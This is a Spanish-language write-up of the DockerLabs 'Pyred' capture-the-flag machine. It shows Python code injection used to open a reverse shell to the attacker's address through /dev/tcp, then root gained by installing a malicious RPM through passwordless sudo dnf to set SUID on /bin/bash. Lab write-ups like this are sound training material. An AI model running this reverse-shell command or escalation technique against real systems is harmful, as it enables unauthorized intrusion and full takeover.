Pyred - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Medio | ElPinguinoDeMario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo. Descubrimos que el puerto 5000 estaba activo, lo que generalmente se asocia con aplicaciones web.
Exploración Web
Procedimos a explorar la interfaz web accesible a través del puerto 5000.
La página parecía permitir la inyección de código Python, aunque inicialmente no encontramos nada destacable. Sin embargo, utilizando la herramienta Gobuster, identificamos un directorio interesante llamado /console.
Obtención de Acceso
Decidimos explotar la posibilidad de inyectar código Python para obtener una reverse shell. Ejecutamos el siguiente código desde la consola disponible en la web:
import os
os.system("bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1")
Con éxito, obtuvimos una reverse shell en el sistema.
Una vez dentro, ejecutamos sudo -l para ver los permisos del usuario actual.
Observamos que el usuario tenía permisos para ejecutar dnf como superusuario sin contraseña.
Escalada de Privilegios
Para explotar este privilegio, procedimos a crear un paquete RPM malicioso en nuestra máquina atacante que modificaría los permisos de /bin/bash para establecer el bit SUID.
Después de crear el archivo paq.rpm, configuramos un servidor HTTP simple con Python para compartir el archivo y lo descargamos en el sistema objetivo usando curl.
Instalamos el paquete malicioso en el sistema objetivo con el siguiente comando:
bash
sudo -u root /usr/bin/dnf install -y paq.rpm
Tras la instalación, verificamos si el bit SUID había sido correctamente configurado en /bin/bash.
Con éxito, logramos escalar privilegios a root.
Ya somos root.